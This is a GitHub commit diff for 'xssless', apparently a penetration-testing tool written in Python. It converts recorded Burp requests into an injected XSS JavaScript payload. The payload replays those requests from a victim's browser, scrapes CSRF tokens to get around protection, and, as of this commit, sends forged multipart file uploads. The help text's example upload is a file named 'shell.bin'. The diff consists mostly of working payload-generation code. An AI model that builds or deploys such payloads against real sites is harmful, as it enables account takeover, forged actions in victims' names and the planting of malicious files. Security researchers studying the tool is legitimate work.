Skip to content

Commit f6320e9

Browse files
Added support for multipart and file uploads
1 parent aa58edf commit f6320e9

File tree

4 files changed

+197
-38
lines changed

4 files changed

+197
-38
lines changed

README.md

Lines changed: 17 additions & 12 deletions
Large diffs are not rendered by default.

parselist.txt renamed to example_csrf_token_list.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,5 @@ CSRFToken
22
__VIEWSTATE
33
csrf
44
__RequestVerificationToken
5+
authenticity_token
6+
csrftoken

example_file_list.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
file,/home/mandatory/Programming/C/hello_world

xssless.py

Lines changed: 177 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,8 @@
44
import base64
55
import json
66
import os
7-
7+
import magic
8+
# Import burp export and return a list of decoded data
89
def get_burp_list(filename):
910
if not os.path.exists(filename):
1011
return []
@@ -27,6 +28,19 @@ def get_burp_list(filename):
2728

2829
return requestList
2930

31+
# Return hex encoded string output of binary input
32+
def payload_encode_file(input_file):
33+
filecontents = open(input_file).read()
34+
hue = filecontents.encode("hex")
35+
filecontents = '\\x' + '\\x'.join(hue[i:i+2] for i in xrange(0, len(hue), 2)) # Stackoverflow, because pythonistic
36+
return filecontents
37+
38+
# Return hex encoded string output of binary input
39+
def payload_encode_input(filecontents):
40+
hue = filecontents.encode("hex")
41+
filecontents = '\\x' + '\\x'.join(hue[i:i+2] for i in xrange(0, len(hue), 2)) # Stackoverflow, because pythonistic
42+
return filecontents
43+
3044
# Get a list of headers for request/response
3145
def parse_request(input_var, url):
3246

@@ -36,7 +50,12 @@ def parse_request(input_var, url):
3650
# Split request into headers/body and parse header into list
3751
request_parts = input_var.split("\r\n\r\n")
3852
header_data = request_parts[0]
39-
body_data = request_parts[1]
53+
54+
if len(request_parts) > 2:
55+
body_data = "\r\n\r\n".join(request_parts[1:]) # Get everything after the first \r\n\r\n incase of file upload
56+
else:
57+
body_data = request_parts[1] # Only two parts so it's just a regular POST
58+
4059
header_lines = header_data.split("\r\n")
4160
header_lines = filter(None, header_lines) # Filter any blank lines
4261

@@ -63,20 +82,63 @@ def parse_request(input_var, url):
6382
del headerDict
6483
del tmpList
6584

66-
# Create a list of body values (check for JSON, etc)
67-
# bodyList[0]['Key'] = "username"
68-
# bodyList[0]['Value'] = "mandatory"
85+
postisupload = False
86+
fileboundary = ""
87+
88+
for headerpair in headerList:
89+
if headerpair['Key'] == 'Content-Type':
90+
if 'boundary=' in headerpair['Value']:
91+
fileboundary = headerpair['Value'].split("boundary=")[1]
92+
postisupload = True
93+
94+
# List of all POST data
6995
bodyList = []
70-
body_var_List = body_data.split("&")
71-
body_var_List = filter(None, body_var_List)
72-
for item in body_var_List:
73-
tmpList = item.split("=")
74-
bodyDict = {}
75-
bodyDict['Key'] = tmpList[0]
76-
bodyDict['Value'] = tmpList[1]
77-
bodyList.append(bodyDict)
78-
del tmpList
79-
del bodyDict
96+
97+
# If the form is multipart the rules change, set values accordingly and pass it one
98+
if postisupload:
99+
postpartsList = body_data.split(fileboundary)
100+
101+
# FF adds a bunch of '-' characters, so we'll filter out anything without a Content-Disposition in it
102+
for key, value in enumerate(postpartsList):
103+
if 'Content-Disposition' not in value:
104+
postpartsList.remove(value)
105+
106+
for part in postpartsList:
107+
sectionHeader, sectionBody = part.split("\r\n\r\n")
108+
sectionBody = sectionBody.replace("\r\n--", "")
109+
tmp = {}
110+
tmp['name'] = sectionHeader.split("name=\"")[1].split("\"")[0] # Hacky name parsing solution
111+
112+
if 'filename="' in sectionHeader:
113+
tmp['isfile'] = True
114+
tmp['filename'] = sectionHeader.split("filename=\"")[1].split("\"")[0] # Same
115+
tmp['contenttype'] = sectionHeader.split("Content-Type: ")[1]
116+
tmp['binary'] = sectionBody
117+
sectionBody = payload_encode_input(sectionBody)
118+
else:
119+
tmp['isfile'] = False
120+
121+
tmp['body'] = sectionBody
122+
bodyList.append(tmp)
123+
del tmp
124+
del sectionHeader
125+
del sectionBody
126+
127+
else:
128+
# Create a list of body values (check for JSON, etc)
129+
# bodyList[0]['Key'] = "username"
130+
# bodyList[0]['Value'] = "mandatory"
131+
body_var_List = body_data.split("&")
132+
body_var_List = filter(None, body_var_List)
133+
for item in body_var_List:
134+
tmpList = item.split("=")
135+
bodyDict = {}
136+
bodyDict['Key'] = tmpList[0]
137+
bodyDict['Value'] = tmpList[1]
138+
bodyList.append(bodyDict)
139+
del tmpList
140+
del bodyDict
141+
80142

81143
# Returned dict, chocked full of useful information formatted nicely for your convienience!
82144
returnDict = {}
@@ -90,6 +152,8 @@ def parse_request(input_var, url):
90152
returnDict['body_text'] = body_data # Raw text of HTTP body
91153
returnDict['flags'] = flags # Special flags
92154
returnDict['url'] = url
155+
returnDict['isupload'] = postisupload
156+
returnDict['boundary'] = fileboundary
93157

94158
return returnDict
95159

@@ -141,8 +205,10 @@ def parse_response(input_var, url):
141205

142206
return returnDict
143207

208+
# Generate the main payload
144209
def xss_gen(requestList, settingsDict):
145210

211+
# Start of the payload, uncompressed
146212
payload = """
147213
<script type="text/javascript">
148214
var funcNum = 0;
@@ -169,6 +235,15 @@ def xss_gen(requestList, settingsDict):
169235
http.setRequestHeader('Content-length', body.length);
170236
http.setRequestHeader('Connection', 'close');
171237
http.send(body);
238+
} else if (method == "MPOST") {
239+
http.open('POST', url, true);
240+
var bound = Math.random().toString(36).slice(2);
241+
body = body.split("BOUNDMARKER").join(bound);
242+
http.setRequestHeader('Content-type', 'multipart/form-data, boundary=' + bound);
243+
http.setRequestHeader('Content-length', body.length);
244+
http.setRequestHeader('Connection', 'close');
245+
http.sendAsBinary(body);
246+
172247
} else if (method == "GET") {
173248
http.open('GET', url, true);
174249
http.send();
@@ -184,27 +259,76 @@ def xss_gen(requestList, settingsDict):
184259
# Each request is done as a function that one requestion completion, calls the next function.
185260
# The result is an unclobered browser and no race conditions! (Because cookies may need to be set, etc)
186261

262+
# Counter for function numbers
187263
i = 0
188264
for conv in requestList:
189265
requestDict = parse_request(conv['request'], conv['url'])
190-
responseDict = parse_response(conv['response'], conv['url'])
266+
responseDict = parse_response(conv['response'], conv['url']) # Currently unused, for future heuristics
191267

192268
payload += " function r" + str(i) + "(requestDoc){\n"
193269

194270
if requestDict['method'].lower() == "post":
195-
postString = ""
196-
for pair in requestDict['bodyList']:
197-
if 'parseList' in settingsDict:
198-
if pair['Key'] in settingsDict['parseList']:
199-
postString += pair['Key'] + "=" + "' + encodeURIComponent(requestDoc.getElementsByName('" + pair['Key'] + "')[0].value) + '&"
271+
if requestDict['isupload'] == True:
272+
payload += " doRequest('" + requestDict['url'] + "', 'MPOST', '"
273+
multipart = ""
274+
for item in requestDict['bodyList']:
275+
multipart += "--BOUNDMARKER\\r\\n"
276+
if item['isfile'] == True:
277+
278+
if 'fileDict' in settingsDict:
279+
if item['name'] in settingsDict['fileDict']:
280+
filecontents = payload_encode_file(settingsDict['fileDict'][item['name']])
281+
282+
# Find content type
283+
m = magic.open(magic.MAGIC_MIME)
284+
m.load()
285+
content_type = m.file(settingsDict['fileDict'][item['name']])
286+
287+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"; filename="' + item['filename'] + '"\\r\\n'
288+
multipart += 'Content-Type: ' + content_type + '\\r\\n\\r\\n'
289+
multipart += filecontents + '\\r\\n'
290+
291+
del filecontents
292+
del content_type
293+
del m
294+
else:
295+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"; filename="' + item['filename'] + '"\\r\\n'
296+
multipart += 'Content-Type: ' + item['contenttype'] + '\\r\\n\\r\\n'
297+
multipart += item['body'] + '\\r\\n'
298+
else:
299+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"; filename="' + item['filename'] + '"\\r\\n'
300+
multipart += 'Content-Type: ' + item['contenttype'] + '\\r\\n\\r\\n'
301+
multipart += item['body'] + '\\r\\n'
302+
else:
303+
if 'parseList' in settingsDict:
304+
if item['name'] in settingsDict['parseList']:
305+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"\\r\\n\\r\\n'
306+
multipart += "' + encodeURIComponent(requestDoc.getElementsByName('" + item['name'] + "')[0].value) + '" + '\\r\\n'
307+
else:
308+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"\\r\\n\\r\\n'
309+
multipart += item['body'] + '\\r\\n'
310+
else:
311+
multipart += 'Content-Disposition: form-data; name="' + item['name'] + '"\\r\\n\\r\\n'
312+
multipart += item['body'] + '\\r\\n'
313+
314+
multipart += "--BOUNDMARKER--"
315+
payload += multipart
316+
payload += "');\n"
317+
else:
318+
postString = ""
319+
for pair in requestDict['bodyList']:
320+
if 'parseList' in settingsDict:
321+
if pair['Key'] in settingsDict['parseList']:
322+
postString += pair['Key'] + "=" + "' + encodeURIComponent(requestDoc.getElementsByName('" + pair['Key'] + "')[0].value) + '&"
323+
else:
324+
postString += pair['Key'] + "=" + pair['Value'] + "&"
200325
else:
201326
postString += pair['Key'] + "=" + pair['Value'] + "&"
202-
else:
203-
postString += pair['Key'] + "=" + pair['Value'] + "&"
204327

205-
postString = postString[:-1] # Remove last &
328+
postString = postString[:-1] # Remove last &
329+
330+
payload += " doRequest('" + requestDict['url'] + "', 'POST', '" + postString + "');\n"
206331

207-
payload += " doRequest('" + requestDict['url'] + "', 'POST', '" + postString + "');\n"
208332
elif requestDict['method'].lower() == "get":
209333
payload += " doRequest('" + requestDict['url'] + "', 'GET', '');\n"
210334
elif requestDict['method'].lower() == "head":
@@ -234,6 +358,7 @@ def xss_gen(requestList, settingsDict):
234358
235359
-h Show's this help menu
236360
-p=PARSEFILE Parse list - input file containing a list of CSRF token names to be automatically parsed and set with JS.
361+
-f=FILELIST File list - input list of POST name/filenames to use in payload. ex: 'upload_filename,~/Desktop/shell.bin'
237362
-s Don't display the xssless logo
238363
239364
"""
@@ -261,9 +386,35 @@ def xss_gen(requestList, settingsDict):
261386
tmpList[key] = value.replace("\n", "")
262387
if len(tmpList):
263388
settingsDict['parseList'] = tmpList
264-
del tmpList
389+
del tmpList
265390
else:
266391
print "Error, parse list not found!"
392+
if "-f=" in option:
393+
fileuploadlist = option.replace("-f=", "")
394+
if os.path.isfile(fileuploadlist):
395+
tmpDict = {}
396+
fileuploadlinesList = open(fileuploadlist).readlines()
397+
for key, value in enumerate(fileuploadlinesList):
398+
rowparts = value.replace("\n", "").split(",", 1)
399+
if len(rowparts) == 2:
400+
if os.path.isfile(rowparts[1]):
401+
tmpDict[rowparts[0]] = rowparts[1]
402+
else:
403+
print "File '" + rowparts[1] + "' not found!"
404+
sys.exit()
405+
else:
406+
print "Error while parsing file " + fileuploadlist + " on line #" + str(key)
407+
print " ->'" + value.replace("\n", "") + "'"
408+
sys.exit()
409+
del rowparts
410+
if tmpDict:
411+
settingsDict['fileDict'] = tmpDict
412+
413+
del tmpDict
414+
del fileuploadlinesList
415+
else:
416+
print "Input filelist not found!"
417+
sys.exit()
267418

268419
if os.path.exists(sys.argv[-1]):
269420
inputfile = sys.argv[-1]

0 commit comments

Comments
 (0)